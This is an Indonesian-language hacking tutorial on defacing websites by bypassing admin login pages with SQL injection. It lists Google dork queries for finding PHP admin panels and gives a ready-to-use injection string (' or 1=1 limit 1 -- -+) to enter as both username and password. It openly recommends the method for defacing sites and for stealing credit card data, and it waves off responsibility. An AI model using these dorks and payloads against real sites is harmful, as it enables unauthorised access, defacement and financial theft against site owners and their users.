Tutorial Deface Webseit Dengan Teknik Bypass Sql Login

Tutorial Hack Website Dengan Bypass
SQL Login
Oke, kali ini saya mau share tutorial SQLi Bypass
Login :D . Dengan teknik ini, kita bisa login ke
halaman admin suatu website tanpa perlu
memasukkan user dan password yang dibuat oleh
admin. Udah lama sih tutorial ini saya dapat :D . Baru
sempet share aja . hehehe. Oke langsung saja ke
tutorialnya :) .
Google Dork :
inurl:manager intitle:Admin Panel
inurl:/admin2/ ext:php
inurk:/admin/ ext:php
inurl:/adminpanel/ ext:php
inurl:/admin_panel/
Kembangin lagi dorknya ya :)
Langkah langkah :
Nah, kalo udah dapet salahsatu web nya, kita login
dengan user dan password berikut :
user : ' or 1=1 limit 1 -- -+
pass : ' or 1=1 limit 1 -- -+
Jika vuln, pasti masuk halaman admin kok :)
Gampang sekali bukan ?
Cara ini sebenarnya banyak manfaatnya. Selain buat
yang hobi deface sana sini, yang mau cari credit card
pakai cara ini juga terbukti ampuh :D
Tapi inget, dosa tanggung sendiri. ;)
Sekian tutorial kali ini . Terimakasih :)